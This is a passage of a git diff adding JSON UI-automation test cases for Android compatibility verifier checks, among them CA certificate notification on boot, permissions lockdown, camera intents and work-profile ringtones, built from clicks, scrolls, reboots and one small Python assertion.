test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":149.0,\"x2\":223.0,\"y2\":181.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, CA Cert Notification on Boot test\",\"actionId\":\"05598024-8ee9-4790-aead-1e5428fcd8a5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CA Cert Notification on Boot test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/check_creds\",\"actionId\":\"e9b3130d-95b4-46ce-af95-6e33b43c3093\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/check_creds\"},{\"type\":\"RebootAction\",\"name\":\"REBOOT and wait 55 secs\",\"actionId\":\"b2dbe8c5-2dae-4ad8-8570-3e737d43988c\",\"actionType\":\"REBOOT_ACTION\",\"createdBy\":\"riacheltseng\",\"onlyReconnectToDevice\":false,\"reconnectTimeInSec\":55},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to CA Cert Notification on Boot test\",\"actionId\":\"9032070d-a5cc-4a30-8613-26427982e7de\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CA Cert Notification on Boot test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6ae23df1-ef36-438c-8073-e0253d362a1a\",\"displayText\":\"CA Cert Notification on Boot test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"CA Cert Notification on Boot test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":444.0,\"x2\":351.25,\"y2\":486.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":119.0,\"y\":466.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":61.0,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"6ae23df1-ef36-438c-8073-e0253d362a1a\",\"firstText\":\"CA Cert Notification on Boot test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CA Cert Notification on Boot test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":454.0,\"x2\":231.0,\"y2\":478.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, CA Cert Notification on Boot test\",\"actionId\":\"570fca9c-2b75-4c5e-9f3d-0607de67cb24\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CA Cert Notification on Boot test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove button\",\"actionId\":\"c6cb54d8-cb7b-43f7-ad2c-f16ac373ffea\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK button\",\"actionId\":\"f6891f25-4c6c-433c-9887-99392f90ced1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c9c95a27-478d-4d6f-bc60-bebadada633e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"221f9022-2e98-49f1-a5b7-5340d6b5b525\",\"05598024-8ee9-4790-aead-1e5428fcd8a5\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"e9b3130d-95b4-46ce-af95-6e33b43c3093\",\"ce88edc2-4ae3-4424-9d5b-906134e04383\",\"325e2c82-fd6d-4027-8dd7-1d331c3d5345\",\"b2dbe8c5-2dae-4ad8-8570-3e737d43988c\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"9032070d-a5cc-4a30-8613-26427982e7de\",\"570fca9c-2b75-4c5e-9f3d-0607de67cb24\",\"6e39d7bc-eca0-4c2d-9c8e-bf47cd2eca1a\",\"c6cb54d8-cb7b-43f7-ad2c-f16ac373ffea\",\"f6891f25-4c6c-433c-9887-99392f90ced1\",\"c9c95a27-478d-4d6f-bc60-bebadada633e\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_CA Cert Notification on Boot test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.232000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a418766b-dd6a-4c90-b127-e104546068c5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a418766b-dd6a-4c90-b127-e104546068c5
new file mode 100644
index 0000000..5dd6f07
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a418766b-dd6a-4c90-b127-e104546068c5
@@ -0,0 +1 @@
+{"uuid":"a418766b-dd6a-4c90-b127-e104546068c5","details":"{\"type\":\"CompoundAction\",\"name\":\"14-Permissions lockdown\",\"actionId\":\"a418766b-dd6a-4c90-b127-e104546068c5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"d2619d97-b114-47f1-bade-ff3e0e4d37f7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"14-Permissions lockdown","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.109000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a5cd361e-a0c1-493b-9029-bc0855d3503c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a5cd361e-a0c1-493b-9029-bc0855d3503c
new file mode 100644
index 0000000..820c69e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a5cd361e-a0c1-493b-9029-bc0855d3503c
@@ -0,0 +1 @@
+{"uuid":"a5cd361e-a0c1-493b-9029-bc0855d3503c","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert the main location go into 'off' state\",\"actionId\":\"a5cd361e-a0c1-493b-9029-bc0855d3503c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Assert the main location go into 'off' state\",\"actionId\":\"cb32d22d-e2fa-4211-8734-43cb15e17c26\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\nuicd_util = UICDPythonUtil()\\nd = Device.create_device_by_slot(0)\\n\\nresult = d.text(\\\"Use location\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"cb32d22d-e2fa-4211-8734-43cb15e17c26\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert the main location go into 'off' state","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.286000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e
new file mode 100644
index 0000000..4e1b85b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e
@@ -0,0 +1 @@
+{"uuid":"a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e","details":"{\"type\":\"CompoundAction\",\"name\":\"01_Custom provisioning color(Check image)\",\"actionId\":\"a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to BYOD Provisioning tests\",\"actionId\":\"9305f64d-63b6-463e-a32d-aa7c2ea27641\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BYOD Provisioning tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6a915a5b-1686-4e79-99bd-02882dc707c1\",\"displayText\":\"BYOD Provisioning tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"BYOD Provisioning tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":452.0,\"x2\":351.3333333333333,\"y2\":494.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":474.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":-1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"6a915a5b-1686-4e79-99bd-02882dc707c1\",\"firstText\":\"BYOD Provisioning tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BYOD Provisioning tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":12.0,\"y1\":463.0,\"x2\":178.0,\"y2\":486.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, BYOD Provisioning tests\",\"actionId\":\"12ce61c6-65b2-4ca4-8fcd-1e5865c58c1f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"BYOD Provisioning tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Custom provisioning color\",\"actionId\":\"2fbf1cd5-1860-4e66-84cf-392223f9ca7b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Custom provisioning color\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Go\",\"actionId\":\"c4d10957-3b20-4842-ac60-02fa44f0bbcb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"455db14b-266c-4d20-bdb1-bb9dd1a45267\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"15e17bf5-3168-413c-b462-7de40ebef050\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button1\",\"actionId\":\"a5ff5148-61a9-4d95-a682-4f76bf358707\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"c6ce936e-5dc7-4eee-a2a0-171ccb438ae7\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"9305f64d-63b6-463e-a32d-aa7c2ea27641\",\"12ce61c6-65b2-4ca4-8fcd-1e5865c58c1f\",\"2fbf1cd5-1860-4e66-84cf-392223f9ca7b\",\"c4d10957-3b20-4842-ac60-02fa44f0bbcb\",\"455db14b-266c-4d20-bdb1-bb9dd1a45267\",\"15e17bf5-3168-413c-b462-7de40ebef050\",\"a5ff5148-61a9-4d95-a682-4f76bf358707\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"01_Custom provisioning color(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.311000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a67e968f-ab80-4c16-87c6-76e7c22da2b7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a67e968f-ab80-4c16-87c6-76e7c22da2b7
new file mode 100644
index 0000000..fadafda
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a67e968f-ab80-4c16-87c6-76e7c22da2b7
@@ -0,0 +1 @@
+{"uuid":"a67e968f-ab80-4c16-87c6-76e7c22da2b7","details":"{\"type\":\"CompoundAction\",\"name\":\"15-27 &amp; 17-06-12-Set permitted accessibility services\",\"actionId\":\"a67e968f-ab80-4c16-87c6-76e7c22da2b7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set permitted accessibility services\",\"actionId\":\"1abd2937-a382-476e-bd32-00f255c37b88\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set permitted accessibility services\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3cd19048-0836-4289-a347-e3296839f21c\",\"displayText\":\"Set permitted accessibility services\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set permitted accessibility services\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":554.75,\"x2\":360.0,\"y2\":596.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":124.0,\"y\":572.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":56.0,\"y\":3.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"3cd19048-0836-4289-a347-e3296839f21c\",\"firstText\":\"Set permitted accessibility services\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set permitted accessibility services\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":562.0,\"x2\":245.0,\"y2\":583.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set permitted accessibility services\",\"actionId\":\"27f33003-d25d-4f10-955b-b2d34ecbaa2d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set permitted accessibility services\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Dummy accessibility service\",\"actionId\":\"b73961d3-52ed-4178-8bae-d71b0f0eae7c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Dummy accessibility service\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b7590283-564f-405a-b9c2-2039a24022ab\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1b11fffd-8285-4c49-b222-cc26ca1be872\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"1abd2937-a382-476e-bd32-00f255c37b88\",\"27f33003-d25d-4f10-955b-b2d34ecbaa2d\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"b73961d3-52ed-4178-8bae-d71b0f0eae7c\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"b7590283-564f-405a-b9c2-2039a24022ab\",\"1b11fffd-8285-4c49-b222-cc26ca1be872\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-27 &amp; 17-06-12-Set permitted accessibility services","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.162000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a91daeb8-73a8-424c-8e9f-c3c6ddef543c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a91daeb8-73a8-424c-8e9f-c3c6ddef543c
new file mode 100644
index 0000000..01587f1
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/a91daeb8-73a8-424c-8e9f-c3c6ddef543c
@@ -0,0 +1 @@
+{"uuid":"a91daeb8-73a8-424c-8e9f-c3c6ddef543c","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Camera Intents\",\"actionId\":\"a91daeb8-73a8-424c-8e9f-c3c6ddef543c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Camera Intents\",\"actionId\":\"f65f8853-2e4a-4ae6-8aac-5c06d6bb282c\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera Intents\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a4a5f3dc-a527-447d-9e6c-12820c9d0ebd\",\"displayText\":\"Camera Intents\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Camera Intents\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":631.3333333333334,\"x2\":350.6666666666667,\"y2\":675.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":65.5,\"y\":654.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":114.5,\"y\":-1.1666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"a4a5f3dc-a527-447d-9e6c-12820c9d0ebd\",\"firstText\":\"Camera Intents\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera Intents\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":12.0,\"y1\":644.0,\"x2\":119.0,\"y2\":665.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Camera Intents\",\"actionId\":\"3124ccf8-0fb4-4a68-895e-18606d20ee89\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Camera Intents\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/deny_radio_button\",\"actionId\":\"92b8c505-cd99-44af-ab95-ffc201923a68\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.permissioncontroller:id/deny_radio_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/allow_always_radio_button\",\"actionId\":\"6e1c090f-9647-485d-81ae-f99214e89c27\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.permissioncontroller:id/allow_always_radio_button\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"f65f8853-2e4a-4ae6-8aac-5c06d6bb282c\",\"3124ccf8-0fb4-4a68-895e-18606d20ee89\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"852558c2-18ad-4540-bab9-6f2da206f8cb\",\"92b8c505-cd99-44af-ab95-ffc201923a68\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"339f5cb7-0ae4-4405-bd6b-ebf91aa53125\",\"26e141bc-1cb7-4228-865c-40de24919e2d\",\"29474691-30f5-4d1c-a1ac-afe0beb0e971\",\"29474691-30f5-4d1c-a1ac-afe0beb0e971\",\"1c5b786d-f4e0-44ea-8833-ab551a67815c\",\"852558c2-18ad-4540-bab9-6f2da206f8cb\",\"6e1c090f-9647-485d-81ae-f99214e89c27\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_camera=Camera,\\n$uicd_camera_take_photo=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_mode=Video,\\n$uicd_camera_video_record=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_stop=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_done=Done,\"}}","name":"test_Camera Intents","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.016000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/acc515c6-092f-4d36-898f-4c8d33652223 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/acc515c6-092f-4d36-898f-4c8d33652223
new file mode 100644
index 0000000..56f7e0c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/acc515c6-092f-4d36-898f-4c8d33652223
@@ -0,0 +1 @@
+{"uuid":"acc515c6-092f-4d36-898f-4c8d33652223","details":"{\"type\":\"CompoundAction\",\"name\":\"13_Personal ringtones\",\"actionId\":\"acc515c6-092f-4d36-898f-4c8d33652223\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Personal ringtones\",\"actionId\":\"d3c31cec-7b08-4148-bdb7-cfc2d9f5413a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Personal ringtones\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"25106337-e464-4d71-8fdd-f8328883219e\",\"displayText\":\"Personal ringtones\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Personal ringtones\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":469.3333333333333,\"x2\":360.0,\"y2\":513.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":71.0,\"y\":487.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":109.0,\"y\":3.8333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"25106337-e464-4d71-8fdd-f8328883219e\",\"firstText\":\"Personal ringtones\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Personal ringtones\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":140.0,\"y1\":499.0,\"x2\":2.0,\"y2\":476.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Personal ringtones\",\"actionId\":\"5f33ed69-53d9-4c79-bc5b-b41feaf0a65c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Personal ringtones\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Work phone ringtone\",\"actionId\":\"67af81f1-6745-4cd0-981e-3c206c6e18e5\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Work phone ringtone\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"970d15ec-b894-42fd-b904-c33ab23e1ee3\",\"displayText\":\"Work phone ringtone\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e2f3e010-f999-4506-bd4f-f8505b982cc0\",\"displayText\":\"Work phone ringtone\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"bdc812d2-80a0-4e67-9935-d06a71e07d0e\",\"displayText\":\"Work phone ringtone\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Work phone 